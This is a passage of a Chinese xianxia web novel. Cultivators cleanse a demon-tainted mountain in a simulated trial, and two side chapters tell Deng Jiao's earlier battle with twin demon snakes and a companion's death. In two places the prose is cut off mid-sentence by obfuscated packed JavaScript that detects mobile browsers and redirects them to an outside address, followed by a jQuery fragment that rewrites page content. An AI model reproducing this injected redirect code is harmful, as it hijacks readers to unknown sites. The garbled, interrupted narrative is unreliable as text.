其实是方才魔种中凝聚的魔气,此刻被炼化成灵气后,不多时已经聚成了一朵厚重的乌云笼罩在半空。倘若她们再不下山,估计就要被暴雨困在山上。 汤穗穗在半路抬头往天空望去,虽然浓密的树叶挡住了不少阳光,但依旧看得出来,她们头顶的乌云已经十分明显。 即使是她这种常识并不多的人,也感受到一股风雨欲来的气势。 可惜她们的速度还是没有跑赢乌云,还是没来得及下山,就被滂沱大雨淋成了“落汤鸡”。 还好一行人中还有人记得拿伞,她们三三两两地躲在伞下,看这一场难得的倾盆大雨肆意地冲刷着立石村的一切。汤穗穗悄悄调用灵力观察,降下的雨点几乎是青色的,将地面上的紫气全部清洗着。 豆大的雨点打在伞面上,发出噼里啪啦的声音,似乎在为她们方才的行为鼓掌。 “为什么会下雨啊?”汤穗穗也为她们高兴着,但她还是第一次遇到这样的阵仗。 “因为这里灵气稀缺啊。”邓娇又伸手弹了汤穗穗的脑门,“灵气补充的方式不就是下雨了吗?” 汤穗穗捂着脑门,听到身旁的师姐轻笑的声音。她转头朝师姐看去,对上后者无奈的神情,对方伸手轻轻点了点她的额头。 虽然师姐没有开口,当汤穗穗还是觉得自己回去后肯定会被恶补常识。 “来年,应当会有好收成。”蓝鄞的话语将她拉回当下,她看着对方一手握着长枪插在泥土,另一手擦掉脸上的 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山上的众人相视一笑,肩上卸下隐形又沉重的担子,在彼此的脸上看到如出一辙的释然。她们的身影被山上的树林遮挡,深藏功与名。 走在这一路上,只为这一刻而努力着。 山下的村民不知由何人起头,眼泪混杂着雨水淌下,叩谢天恩浩荡。 汤穗穗听到他们感谢老天,心中有些郁闷,不满地嘟起了嘴。这一切明明是她们所为,和这个老天又有什么关系? 姬忘尘感受到她的情绪,伸手拍了拍她的后背,轻声安慰:“别在意。” 正当汤穗穗赌气的时候,她看见到有一个撑着伞的人影走出来,朝众人说了些什么。村民们不约而同看向洄山的方向。汤穗穗还以为她们的身影被村民们发现,下意识想缩在师姐的身后。 撑着伞的人影也顺势抬起纸伞,露出了被遮蔽的面容,正是昨天的那位瞎眼阿婆。 不知道阿婆说了些什么,村民们换了个方向,朝着洄山的方向叩拜。即使是她们隔着距离,也依稀能听到他们喊的是“多谢道长”之类的话语。 “走吧。”邓娇轻笑着摇摇头,收回了看向村民的视线,朝众人挥了挥手,示意下山。她的脸色已经恢复了平静,可转身离开时的脚步仍是止不住地轻快,出卖了她此刻喜悦的心情。 姬忘尘给邓娇撑着伞,汤穗穗也跟在她身边:“师姐,我们就这么走了?我们不需要告诉他们真相吗?” “不需要啊。”听到了她问话的邓娇微微转身,顺手捏了捏她的脸,又回过头去,“他们不需要知道这些事情,这是属于‘山上’的秘密。” “这只是一场最寻常不过的雨水,”邓娇微微抬头,望向依旧没有停歇迹象的大雨,“这样就够了。” 这场暴雨虽然有所不同,但也没那么特别。 “可是师姐,如果做好事都不留名的话,那还会谁会记得我们做过什么呢?” “那又有什么关系呢?我又不是想被记住才这样做的。”邓娇轻笑出声,解决了洄山的魔蛇后,她的心情也畅快了不少。 她不仅想好怎么跑到师姐面前邀功,顺势缓和师姐们的矛盾;还想到把蛇骨给师哥,跟对方商量着打造一柄神兵利器;哦对了,还要给“小稻苗”打造一个独属于她的武器。 想起回宗之后的安排,她的语气忍不住变得轻快,话语也多了起来:“我的师姐她们总是念叨着‘救世’。我没有她们那么宏大的愿景,我只是想帮助身边的每一个‘你我她’——至于别的,我从来就没有放在心上。” 看着前面不自觉展开笑颜的邓娇,汤穗穗似懂非懂。 或许走上这条道路没有那么多理由,仅仅是想为旁人施以援手。 35.拟真试炼 这场倾盆大雨很快转为了绵绵细雨,无声地滋润着这里的每一寸土地。村民们从瞎眼阿婆口中得知了道长们的努力,自发地想给她们提供力所能及的答谢。 然而邓娇一行人趁着雨势变小,早就已经悄悄的离开了这里。既然洄山的问题已经解决,她们也到了返程的时候。 “师姐,拟真试炼还没结束吗?”汤穗穗躲在师姐的伞下,看着面前雾蒙蒙的天地。 她原本以为解除洄山危机之后,就会立刻返回现实。 “快了。”隔着绵绵的细雨,姬忘尘看着前面和队友肆意说笑着的邓娇,垂眸掩盖住眼底的情绪,“到今夜子时,我们就会离开这里。对你而言,不过是睡一觉的时间。” 拟真试炼就是如此,完成对应的除魔任务后,就会在当天结束时离开拟真境。 不过…… 汤穗穗偏头看向师姐,明明拟真试炼已经顺利结束,但对方好似并不开心。 自从上次两人聊开后,姬忘尘在汤面前会不自觉地放松自己,从而后者可以很清楚地察觉到前者此时低落的情绪。 “……师姐,你有些不太高兴?”汤穗穗扯了扯师姐的衣袖,看向队伍前方的人,“是和邓娇师姐有关吗?” 虽然姬忘尘掩饰得很好,但或许是她太了解对方的缘故,她可以捕捉到对方看向邓娇师姐,转瞬即逝的神情变化。 “我记得你说她比较特别,是她相关吗?”汤穗穗还记得师姐一开始提到的内容,她始终觉得还是和对方相关,“邓娇师姐和师姐你,是有过什么交集吗?” “……是啊,我们曾经见过的。或许她记得,也或许她不记得。”姬忘尘私心隐去不愿提及的部分,勾了勾嘴角,强颜欢笑着开口,“算了,都过去了。” “邓娇师姐她以前,应当对你很好吧。”汤穗穗看着师姐脸上显而易见的难过,自然而然地开口,“虽然不知道发生了什么,但既然能在这里相遇,怎么不算是一种缘分呢? “既然有缘分,难道不是更应该握紧在手里吗?” 姬忘尘错愣着低头,看向汤穗穗黑白分明的眼睛里,看到了不停地纠结着的自己。 其实就像师妹所说,她们能够再次“相遇”,就已是可遇不可求的缘分。 “你俩嘀嘀咕咕什么呢!”邓娇在前面叉着腰,用力地挥手,另一只手打着伞,“就这么喜欢在雨中畅聊?” 在两人交谈中,唐澄澄的机关仪器找到了座废弃的佛寺。或许是因为洄山魔气作祟,这里原本的出家人也被迫离开,留下一座空寺。 邓娇收了伞,将伞随意地放在殿外,一边活动着肩膀缓解肩膀处肌肉的酸疼感,一边走进去。而姬忘尘收了伞,习惯性地抖掉伞上的水珠,将其收进了乾坤袋中。汤穗穗先她一步跟着邓娇走入佛寺中,下意识打量周围的装潢布置,对比起曾经在路上遇到过假冒的佛寺。 正如姚师舅当时所告诉她的那样,这件佛寺的状况更符合规范一些。 “看来今晚要在这里对付过去了。”邓娇按压着酸疼的部分,低声埋怨开口,“回去得要葛师姐给我备点药才行。” “邓师姐,我知道一些缓解疼痛的方法,你要试试吗?”成洱注意到对方的动作,主动上前,主动说起了自己家传的巧方。 “哎……”蓝鄞开口想叫住对方,也还是比成洱慢了一些。蓝鄞知道成洱的出身,有许多锻炼上的巧方,她自己也学过不少。 可是她不觉得现在是有必要的。 蓝鄞想找人说些什么,看向身边,那两个少女又凑到一块,捣鼓着手上的机关。她又将视线投到最后进来的姬忘尘,没想到对方竟然找到宋璋学习阵法去了! 蓝鄞也不能错过这个机会,她马上起身也凑在宋璋的身边:“宋璋前辈,我想学习阵法,能教我吗?” “当然啦!”宋璋虽然有些意外,但眉眼中都是惊喜。 没想到这趟洄山之行还有旁的收获,能够勾起更多人学习阵法就是宋璋的目标。 她拍了拍自己身边的位置,示意两人坐下,从包里掏出自己提炼的阵法要点,从头开始给两人讲解起来。 而邓娇这边,在成洱的教导下,果然她肌肉酸疼的部分也舒适了很多,她笑着道谢,但成洱不在意地摆摆手,重新坐回唐澄澄的身边。 汤穗穗看到成洱师姐回来,想起今天和师姐的讨论,抬头往邓娇的方向看去,却只见对方笑盈盈地朝自己挥了挥手。 她看了眼师姐的方向,她正和宋璋师姐讨论得认真,一时半会顾不上自己。她挠了挠头起身,坐在了邓娇的身边:“邓娇师姐,你找我做什么啊?” “小稻苗不想和我聊聊天吗?”邓娇皱着眉,捂着心口,一副受挫的模样。 “不是不是……”汤穗穗哪见过这种阵仗,硬着头皮摆了摆手,连忙解释道,“我只是没想到师姐你会主动找我……” “我以为我们的关系很亲密了。”邓娇的语气虽然很委屈,但是手上毫不客气地揉捏着汤穗穗的脸。 好在邓娇师姐只是过过手瘾,很快就放过了汤穗穗的脸,冷不丁地开口:“你师傅姓张是吗?我好像对你有些印象。” “才不是,我师傅姓秦,秦无纪。”因为这些日子的相处,汤穗穗已经把对方当做了自己人,想也不想地直接开口,“邓娇师姐你究竟把我当成了谁啊?” “……果然啊。”邓娇师姐的声音很轻,几乎被外面的雨声盖住。邓娇吸了吸鼻子,又睁了睁眼睛,声音有些颤抖,鼻尖涌上酸涩。 也在此刻,那些违和的地方被她理顺,姬忘尘的面容也和脑海中某张狼狈的脸对上了号。 但她不想被汤穗穗发现。 为了不让自己的眼泪涌出来,她还伸手拧了一把大腿肉—— 嘶,真的疼。 汤穗穗没想到对方竟然是这种反应。 即使对方掩饰得很好,紧皱的眉头和通红的双眼还是没能彻底隐藏:“……邓娇师姐,你是认识我师傅吗?” “那当然了,我们以前关系可好了,”邓娇抬手不经意地擦掉眼角的泪水,托着脸挑了挑眉,眉飞色舞地开口,“关系好到能睡在同一张床上!” “可是你看起来比师傅要年轻好多?难道……”汤穗穗还是有些狐疑,压根没往其他地方想,“你们是忘年交?” “哈哈哈哈……”邓娇忍不住放声大笑,伸手在汤穗穗脑袋上胡乱揉了揉,“小稻苗真可爱。” 汤穗穗不明所以,只觉得邓娇师姐脑子好像有点问题。 邓娇也笑够了,擦着眼角的泪花开口:“早知道会遇到你,我就去我师兄那偷几壶酒出来了,你应该没喝过——” 但是对方很快止住话头,笑着摇摇头,用一种汤穗穗看不懂的眼神望过来,又伸手弹了弹她的脑门,“差点忘了,小孩现在可不能喝酒。你师傅知道,说不定要揍我了。” 只是这力度比以往的任何时候都要轻。 “我又没说要喝。”汤穗穗捂着自己的额头,嘟着嘴轻声抱怨,“再说了,我师傅人可好了,才不是你说那种人。” “好好好。那你不如说说,当上师傅的她是怎么样的?” 姬忘尘收回看向两人的视线,重新将全部心神放在当下。宋璋讲得很细致,她也听得很认真,解答了许多阵法上的疑问。 但碍于宋璋现在灵气尚未恢复完全,手头上并没有合适的书籍,她还有些意犹未尽:“等回到宗门,你们再来找我,我一定给你们都讲清楚了!” 听到这句话的蓝鄞却怔愣住了,茫然地眨着眼,不知道该怎么回复,下意识将目光投到身旁的姬忘尘身上。 可是对方明明也清楚真相,却依旧笑得坦然地开口:“……会的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她闭眼做了个深呼吸,睁开双眼,又一次重复,“那就好。” 姬忘尘沉默地看着对方,对方的模样在记忆中变得清晰,没有想过竟然会在这里再遇。 即使她想努力表现得开心一些,可无论如何还是无法勾起笑容。 她知道面前的这一切,终究是一场镜花水月。 邓娇抬头对上姬忘尘强颜欢笑的神情,仔细端详了片刻,眉眼弯弯地开口:“你的表情比以前更生动了,是好事情。” “……是吗?”姬忘尘讶异开口,下意识摸上自己的脸,可什么都没有感觉到。 “有,我很高兴见到现在的你。”邓娇伸手搭上对方的肩膀,“其实那些都是过去的事了。你看,我们当时没做到,但是你们现在做到了,这就已经是很大的进步了。你是活在现在的人,你得往前看。” “等出去了,找我四师姐好好聊聊吧。她最擅长讲这些大道理。”邓娇换了个姿势,抱着自己的腿,后背靠在对方身上,“小稻苗告诉我了,你们的师傅就是我四师姐。” “现在呢,跟我聊聊吧。”邓娇打破两人间的沉默,一如既往地笑着开口,“聊聊这些年,聊聊她。” “……可是等我们出去,你也是会忘记的。” 等子时一到,她们会自动离开拟真境,而拟真境中发生的一切都不会保留下来。 “至少,我现在是知道的。” 姬忘尘抿了抿唇,最终还是将这些年自己所知的宗门变化和几位长辈的关系如实开口。 即便她不是一个擅长讲故事的性格,但邓娇还是将那些后来的故事听得津津有味。她见证了秦无纪的变化,也听到了姬忘尘一路的成长,也从只言片语中拼凑师门几人的近况。 “……时间也快到了吧,还真有些舍不得啊。”邓娇仰头眯着眼,忽然想起了什么,猛地睁眼,转身看向姬忘尘,神情严肃。 “哪怕已经过了很久,我还是想告诉你,不用在意我那混蛋师弟那句真假未辨的话。”对于师弟当时指出对方身上有魔种这件事,她从来都不以为然,“很多人以为他是什么风光霁月的君子,但实际上那小子偏执得要命,切开来说不定是黑心的。” 36.邓娇(上)[番外] “事情就是这样,我们已经准备好了板车,麻烦您先到——” 还没等邓娇说完,紧闭的木门终于打开,但是迎面而来的是一盆混着脏污的冷水。邓娇下意识地闭上了眼,凉水将她淋湿得透彻。还好方才她下意识屏住了呼吸,才没有将污水吸进去。 “你们这些神棍,少在我面前说瞎话!”面前的木门用力地合上,发生巨大的响声。木门后传来粗犷的男声,“我早就不信你们那套了,赶紧给我滚!” 果然又是这样。 邓娇的心又沉了下去,她皱着眉攥紧拳头,指甲陷进肉里让她恢复些许理智。 当初她接下任务的时候,完全不知道这里的情况如此棘手。立石村旁的洄山上藏了两条魔蛇,经年累月已经对附近造成了严重的侵蚀状况。 魔蛇对山上的状况十分熟悉,就算宋璋使用阵法辅助,几人对上魔蛇依旧力不从心。因此没有十全的把握,他们不敢轻举妄动,更担心惊扰了魔蛇,会对山下的百姓不利。 邓娇一方面给宗门送去援助的信息,一方面和宋璋围绕着山上,在合适的地方布下防御型的阵法,希望能拖到宗门援兵来的时候。 可是周围的情况远比她们想象中严重。 或许是因为防御阵的存在挑起了魔蛇不安的情绪,魔蛇突然陷入了发狂的状态,吐出的魔气又夺走了半个村庄人的性命。 邓娇不敢再拖延,她不敢猜测心魔蛇的下一次发狂吐出的魔气范围会有多大,是不是会蔓延到立石村之外,危及更多的百姓。 与此同时,邓娇还发现当地有不少的死灵被迫成为地缚灵,若是再不解决山上的魔种,这些地缚灵们还能不能被净化还是未知数。 在发狂魔蛇和地缚灵们的双重紧迫状况下,即使求助宗门的援兵还没有要来的准确信息,可是她们已经没有多少等待的时间了,她们必须马上做出选择。 为了给她们争取时间,也为了抵御魔蛇的侵袭,宋璋以自己为阵眼,将阵法化作攻击和防御双重叠加的阵法,进一步转换阵法的效力。 那是一个古老的阵法,以宋璋的生命为代价,并且伤害不可逆转。 而邓娇和其余队友则抓紧这些时间,向留在村庄里的村民陈明利弊,希望他们可以主动转移。然而这些村民却不以为然,依旧觉得邓娇他们大放厥词,甚至要将立石村的土地占为己有,于是反过来猜测闹鬼的传言就是他们这些人传出来的。 也因此,邓娇这一路上受尽了这些人的冷眼和唾骂,被泼一盆脏水都算是轻的了。 “师姐,还继续吗?”吕踪这边的情况也不好,他衣服上还有沾着被砸出来的烂菜叶。 他有些气馁,心中萌生了就此离开的想法。一方面他知道这里的情况迫在眉睫,但另一方面村民们的态度让他十分心寒。 邓娇抬手擦掉脸上的脏水,重重地呼出一口气,闭上眼又睁开。不管被问多少次,她都只会给出一个答案:“继续。” 无论受挫多少次,邓娇都一定要将这些村民转移,她绝对不会对这里的困境视而不见,既然她来到了这里,那她就要对这里的情况负责。 不管会面临什么、不管结局是什么,现在的她完全都顾不上,能做到的只有使劲换身解数,能劝说多一个就劝说多一个。 “……几位道长,需要帮忙吗?”正当她为难的时候,一道苍老的声音从他们身后传来。 邓娇猛地回头看去,一个拄着拐杖得到瞎眼老太在自己队友的搀扶下朝她们走过来。 “阿婆……”邓娇对她有些印象,之前初来乍到与对方有过些许交集。 “几位道长,老婆子我还有几分话语权,假若各位道长所言非虚,就交给老婆子我吧。”瞎眼阿婆虽然身体不便,但是精神矍铄,声如洪钟。 “我保证我们说的都是真的。”邓娇向阿婆拱手作揖,“时间紧急,烦请老人家相助。等我们解决之后,各位依旧能回来生活。” “有道长这句话就够了。”瞎眼阿婆拄着拐杖摇摇头,并不对她们所做抱有希望,“诸位道长尽力即可,一切本就是上天赐予的神罚……” “不是这样的,我们正是为此而来。”邓娇打断瞎眼阿婆的话语,“没有神罚不神罚的说法,立石村发生的一切变故都与你们无关。” 瞎眼阿婆不置可否,如她们一般挨家挨户地敲起了村民的木门。村民起初还以为是邓娇她们,不过在听到瞎眼阿婆的声音之后,立马转变了态度。 虽然对邓娇他们的说辞依旧报以怀疑,但村民们更相信瞎眼阿婆的判断。 在和村民的交谈中,邓娇几人才知道,面前的瞎眼阿婆居然是立石村的村长。也正是有了她的帮助和威望,村民们暂且相信了她们,按着她们的说法进行转移。 立石村的村民们终于在日落前,尽数转移。 村长阿婆是最后走的,她坐在板车上看着面前这个年纪轻轻的道长。夕阳的余晖洒在邓娇的身上,脸上的焦急与担忧让对方看起来更似下凡的神祇,为自己这些不重要的百姓而奔走。 或许是死马当作活马医的态度,村长阿婆对邓娇说:“这里便托付给几位道长了。” “多谢您的鼎力相助……”邓娇拱手致谢,还想说些什么,忽然一个人大步跑到她身边,喊了她的名字:“……不好了,乔姐。” 那人气喘吁吁地伏在邓娇耳边说了什么,她的脸色猛地变换,什么都顾不得,连忙就往方才那人来的方向跑去。 “抱歉,村长,接下来就交给我们吧。”起还没有喘匀的来人也没忘了和面前村长致谢,急匆匆地告别过后,也转身跟上邓娇的步伐。 村长阿婆坐在摇摇晃晃的班车上,看着她们的人影原来越小,自己离倒下的立石村牌子越来越远。她下意识抬头看向泛红的天边,后知后觉想起来,自己竟然还没有过问几位道长的名姓,还不知如何道谢。 等几位道长解决完之后,不知道自己还有没有这个机会,再请几位喝杯茶水。 邓娇并不知道村长阿婆的想法,她现在大脑一片空白,不管不顾地往歇脚的茅草屋跑去。方才的队友跟她说,宋璋此刻的状态不容乐观。 “宋璋——”邓娇猛地推开门,看到的就是靠着墙面色苍白的宋璋,对方额间冒出豆大的汗滴,紧紧地蹙着眉。邓娇扑过去跪在她的身边,握着对方的手试图传送一些灵气过去:“你现在怎么样了?” 邓娇的灵气让宋璋舒适了一些,也有了睁眼的力气。 她听到有人呼唤自己的名字,艰难地睁开眼,脸上扯出笑容,刚想张口说些什么,结果喉头发痒,张口又吐出满地鲜血。 “怎么了?”邓娇颤抖着手用袖子擦掉她唇边的血迹,她的衣袖被鲜血浸染成暗红色,“山上的情况还是很糟糕吗?” “它们在挣扎,我还好。”宋璋紧握成拳,疼痛让她勉强维持清醒,摇摇头艰难地开口,更关心的邓娇那边的情况,“……村民们都转移好了吗?” “嗯,都转移了,但是你……” “那就好……”宋璋听到村民被转移之后,心中的巨石也沉下些许。她能够感觉到,山上的魔蛇还在拼命地和阵法作斗争,自己的情况支撑不了多久。 即便如此,她还是不想让邓娇担心,她想要抓住抓着邓娇的手,但她现在已经有气无力,“等我们回去了,你可得赔我一壶好酒。” 她的脸上还是勉强维持着脸上的笑容,说些轻松的话佯装自己没事。可惜因为强行使用阵法的缘故,阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531750|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法的反噬和灵气的过量供应让她的发丝有部分已经变成霜白。 “宋璋!”邓娇最看不得她这样勉强自己的模样,“反正村民们都走了,要不我们现在就把阵法撤了。你就在山下好好休息,等我们上山除掉那个孽种——” “不行!我没事的……咳咳。”宋璋打断邓娇的话,皱着眉又咳出了一滩血。倘若此时将阵法撤去,那她们所做的一切就将前功尽弃,“……不用管我,你才是最后的防线。” “你别胡说,你也很重要的。”邓娇握住她的双手,她似乎预料到什么,心脏一抽一抽,她不敢想象那个可能性。 “我会拼尽全力,直到最后一刻。”宋璋断断续续地开口,她意识到自己已经到了油尽灯枯的时刻,将最后的话语交代完全,“我死后,阵法还能维持六时辰的时间。……再往后,只能交给你了。” “宋璋,别这么说……”邓娇不想面对这样的事实,可是她紧紧地蹙着眉,却毫无办法,“抱歉,是我害苦了你……” “胡说什么……我们之间哪有这样的说法?”宋璋勉强撑起精神,拍了拍对方的手臂,手上却没了力气,“要怪……只能怪我的修为还不算高,撑不了太长时间……” “我……” “乔乔,我只能做到这些了。你是我们之中最强的那个,请一定要保重。”宋璋靠在邓娇的身上,她现在眼前发黑,已经看不到面前人,更不知道自己的声音声若蚊蝇。 宋璋感受着自己手背传来的温热,感受着自己依靠的躯体的起伏,缓慢而带着笑意地开口:“我只能做到这些了……接下来,恐怕……要靠你自己了,抱歉……” 这些天因为控制阵法并限制魔蛇行动的缘故,宋璋几乎一直悬在生死的边缘。然而她一直将自己的情况掩饰得很好,再加上大家忙于转移村民一事,她的状况都没被同伴发现。 当傍晚宋璋突然昏倒在大家面前时,几人才猛地意识到,对方的情况危急,几乎已是命在旦夕。 邓娇扶着宋璋靠着墙壁坐着,一直试图将自己的灵力传给她,可对方依旧没能熬过那个晚上。 邓娇枯坐在她的身边,紧紧地握着对方早已没了温度的手,没有开口说一句话,也没能流出一滴眼泪。 她的情绪好似被完全抽离,大脑一片空白,只想这样望着对方,完全做不出其余的反应。 不知过了多久,忽如其来的亮光让邓娇不适地皱了皱眉。她伸手挡在脸侧,下意识偏头看向窗外。 此时朝阳初升,阳光均匀地洒进室内,这才拉回了些许邓娇的思绪。 她将宋璋平放在地面上,用手轻柔地擦掉了对方脸上的血痕,衣袖上的血迹已经完全干涸,变得暗红。 此时宋璋闭着眼睛躺在地面上,脸上安详的状态就像她只是因为多日来的连轴转累极了,而稍微小歇片刻而已。 “走吧。”邓娇起身,不带任何情绪地开口。 “乔姐……”吕踪担心邓娇的状况,起身跟上对方的脚步,出声想要说些什么安慰对方。 他知道两位师姐的感情深厚,他也很为宋璋师姐痛心。并且,邓娇还是她们的主心骨,他不希望师姐因此而倒下。 然而邓娇什么也没说,只是走在最前面,听到吕踪的声音后,下意识停顿了脚步。 她没有回头,完全看不到脸上的神情,背对着同伴开口,只是声音有些沙哑:“现在,我们就是最后的防线。” 几位同伴闻言,相互对视打气。虽然他们还做不到像邓娇师姐一般冷静,但现在这个关头,更不能出现岔子。 比起宋璋的离去,山上魔蛇的危险愈发迫在眉睫。 正如邓娇师姐所说,在宗门援兵到来之前,他们就是这里最后的防线。 37.邓娇(下)[番外] 宋璋的阵法大幅度地削弱了两条魔蛇的强度。而也正如她所说,没有了灵力的维持,她所捏造的阵法也在魔蛇接连不断的攻击下,已经岌岌可危。 从魔蛇的状态可以看出,现在的它们情绪极其狂躁,随时都有下山作乱的可能。为了山下百姓的安宁,邓娇几人只能拦住魔蛇冲撞的身形。 想到这里,她一瞬分心自嘲。时至今日,她才发现自己竟然也是个“舍己为人”的性格,很难说不是受了几位师姐的影响,回去得找她们“好好算账”。 不过当务之急,还是应付面前这两条难缠的魔蛇。 两条魔蛇原本的修为并不算高,凭着一股莽劲很快被邓娇她们抓到规律。两方缠斗之下,又在四人默契的配合中,其中一条魔蛇被他们顺利斩杀。 魔蛇如山似的身躯“轰”地倒下,隔着扬起的落叶和灰尘,邓娇几人不约而同地松了口气。她们都以为,斩杀魔蛇之后,起码能缓解双方僵持的局面,应当能够对另一条魔蛇起到的震慑作用。 然而她们完全没有预料到,这两条魔蛇竟然是双生关系。 另一条魔蛇快速游走到死去的魔蛇身上,厚重的紫气将两条魔蛇包裹,邓娇她们握紧了武器做防备。不多时,活着的魔蛇将死去的魔蛇体内的魔种吸附融合,直接连越两个境界,与邓娇她们境界平齐。 在魔气的影响下,放大了蟒蛇对面前人类仇恨的情绪。 跃升了境界的魔蛇将身体轻柔地环绕在死去的同伴身上,死死地盯着面前几人,目眦尽裂,狠辣的目光几乎要将她们生吞活剥。 这可不是一个好兆头。 某种程度来说,她们不仅没有削弱对方的战斗力,反而在某种程度上激怒了魔蛇。 当前形势更为严峻,邓娇几人面面相觑,大家的脸上身上都挂了彩,握着武器气喘吁吁,不知道自己还能支撑到什么时刻。 还好山下的村民已经被他们转移出百里之外,再加上洄山原有的灵力为屏障,只要她们几人坚持住,魔气无法影响更远的地方。 她们对视着点头,又一次握紧手中的武器,将后背交付给最信任的同伴,一边提防着魔蛇的进攻,一遍掩护同伴调整此刻的气息到最佳状态。 此时此刻,没有人会分心去考虑这样做到底值不值得。 她们脑海中唯一的念想,仅仅是抵挡发狂的魔蛇,直到援兵到来的那刻。 活着的魔蛇对几人的攻击更加疯狂,甚至因为突破原有的境界,它所造成的威力更是之前的翻倍。即使伤痕累累,但它的攻击愈发没有章法,加上魔气放大愤怒情绪的加成,邓娇几人对战魔蛇更是艰难。 方才长久的缠斗本就让几人精疲力尽,但她们都没有后退,强撑起精神联手早一次将魔蛇重创。 ——代价是,除邓娇以外三人的性命。 魔蛇和邓娇面对面僵持着,相隔有些距离。蛇身上鳞片遍布伤痕、血迹斑斑,一只眼睛被戳瞎并流出血泪,另一只眼睛死死地盯着面前还未倒下的人类。 即使此时的它也有些力不从心,但在仇恨的驱使下,它全无萎靡不振之态,一心想为同伴复仇。 和它对视的邓娇状态则是完全不同,她清楚地意识到自己已到极限。 她的脸上沾满了血污,身上伤痕累累,外衣也同样被鲜血浸染、几乎完全变成暗红色调。她艰难地咽下口水,浑身的力气几乎被抽干,连紧握着武器的手也止不住地颤抖。 宗门的援军依旧没到,面前是依旧不知疲乏的魔蛇,邓娇不知道濒临极限的自己还能坚持多久。 倘若继续缠斗下去,能不能活着回去都是未知数。 可倘若不继续—— 她不敢想象,这条发疯的魔蛇如今会做出怎样的行动来平息此时的烦躁与怒火。若是它真的闯到山下,恐怕遭殃的不仅仅是离得最近的立石村。 ……就这样放弃,那么所有人之前所做的努力都将是浪费。 不行。 她不能让所有人的努力功亏一篑。 正当邓娇思考的时候,四周的灵气悄然无息地钻进她的身体里,滋养着她。 被灵气填补的邓娇感觉自己疲乏的状态也得到了缓解,她不自觉地轻笑出声——她知道自己并非完全处于劣势。 基于灵魔两气的天然平衡原则,眼前的魔蛇吞噬的魔气越多,洄山积蓄的灵气也会更充沛。 而她,甚至可以借助这里充沛的灵气临时越境,进一步跟面前狂躁状态的魔蛇抗衡。 然而,临时破镜对修士的损伤会将所使用的功法反噬放到最大,对使用者本身的伤害同样是不可逆的。 可是邓娇什么都顾不得了,还有很多人寄希望于她身上——无辜的村民、逝去的队友、维持阵法殒命的宋璋…… 只有破镜之后,才能拥有与魔蛇抗衡的力量。 ——才能作为最后一道防线守住这里。 她不能让所有人的牺牲浪费,哪怕以生命为代价,她也要将这里坚守住。 至少、至少要等到援军到来的那一刻,她的任务才算完成。 “……谁说只有你能破镜?” 邓娇喘着粗气,凝视着面前也在喘息的巨蟒。她挑了挑眉,用力地擦掉嘴角的鲜血,嘴角勾起肆意的笑容。她猛地将长剑插在地上,同时盘腿坐下闭幕凝神,口中念诀运转心法,调用周围的全部灵气汇聚到自己的身体里。 在灵气波动的那一瞬,魔蛇意识到了什么,挣扎着蛇身朝邓娇扑来——电光火石间,邓娇猛地睁开眼睛起身,拔出地上的长剑紧握在掌心,灵巧翻身避开对方的攻击,长剑直直指向面前的魔蛇。 越境成功之后,她的眼睛神采奕奕,浑身被灵气填满,完全感受不到身体上的疼痛。 一人一蛇彼此对视着,不知是谁先动作,最后又进入了鏖战。即使她们的动作都比最开始迟钝了许多,但没有一方先让步。 魔蛇想将邓娇绞杀在身躯之间,亦或是用尖牙往对方身上戳下印记,让毒液使对方殒命。然而邓娇也拼尽全力,将心法运转得超乎本人的能力,她根本无暇关注自己的状态,只顾着挥剑刺出收回,又再次刺出。 她的每一个动作就像是本能在操纵,大脑中已经完全没有自己的想法,此时此刻她只想将魔蛇拦于剑下。 不知道过去了多久,她不知道被魔蛇的长尾打倒在地上多少次,也不知道又刺出了多少剑,她全副心神只挂在面前的魔蛇动作上。 魔蛇大张着血盘巨口朝她扑来,但她的利刃比对方更先一步将其贯穿。魔蛇的血液溅到她的脸上,让她下意识地眨了眨眼,后知后觉才感觉到脸上的温热,和嗅闻到一股辛涩。 邓娇面无表情地后退一步并将长剑抽出,魔蛇巨大的躯体重重摔倒在地面,并扬起又一阵巨大的灰尘。 魔蛇倒下时,正好瘫软在它的同伴身上,浓郁的紫气环绕在两条魔蛇身上。 邓娇死死地握着长剑,目不转睛地盯着面前的蟒蛇,生哪怕一个错眼对方又卷土重来,打自己个措手不及。 “邓娇!” 恍惚间,邓娇好像听到了大师姐的声音。她稍微回了神,轻微地眨了几下眼,却又没有再听到声音。 看来只是幻觉,她转动着迟钝的大脑想。 ——但事实并非如此,很快她的名字被再次念起:“邓娇!” 邓娇沿着声音传来的方向抬头,一群熟悉的身影就这样出现在她的面前,脸上带着如出一辙的担忧。 ……等到援兵了。 意识到这一点的邓娇缓缓将闷在心口的那股气吐了出来,总算她的坚持没有白费。她高兴得想欢呼出来,想告诉歇息的同伴们,她们做到了也等到了。 她刚想扯出轻松的笑容说些什么,却忽然双腿发软,险些跪倒在地面上——还好大师姐见她状态不对,比所有人都更快地上前,刚好接住了她浑身乏力的身体。 和师姐同行的一群人朝邓娇点点头,脸色虽然十分严肃,看向她的目光都带着钦佩:“邓师妹,你们辛苦了,接下来就交给我们吧。” 邓娇依靠在师姐的怀里,小幅度地摇摇头,她浑身上下完全没有了力气。 或许是因为宗门援兵的到来,她也没了那股紧绷的情绪,身体里临时越境蓄积的灵气也随之溜走。 “……邓娇,你还好吗?”大师姐气息尚未喘匀,揽过邓娇险些摔倒在地的身体,心疼地看着怀里面色惨白、浑身是血的狼狈师妹,她手足无措,生怕碰到对方身上的伤口。 她只能虚虚握住对方的手腕,将自己体内的灵气传给对方,皱着眉埋怨自己:“都怪我,是我来得太晚了!” 收到师妹的求援、得知洄山的情况危急之后,她片刻不敢歇息地往这边赶来。赶路的这些天,她一刻都不敢合眼,全凭体内灵气支撑。< 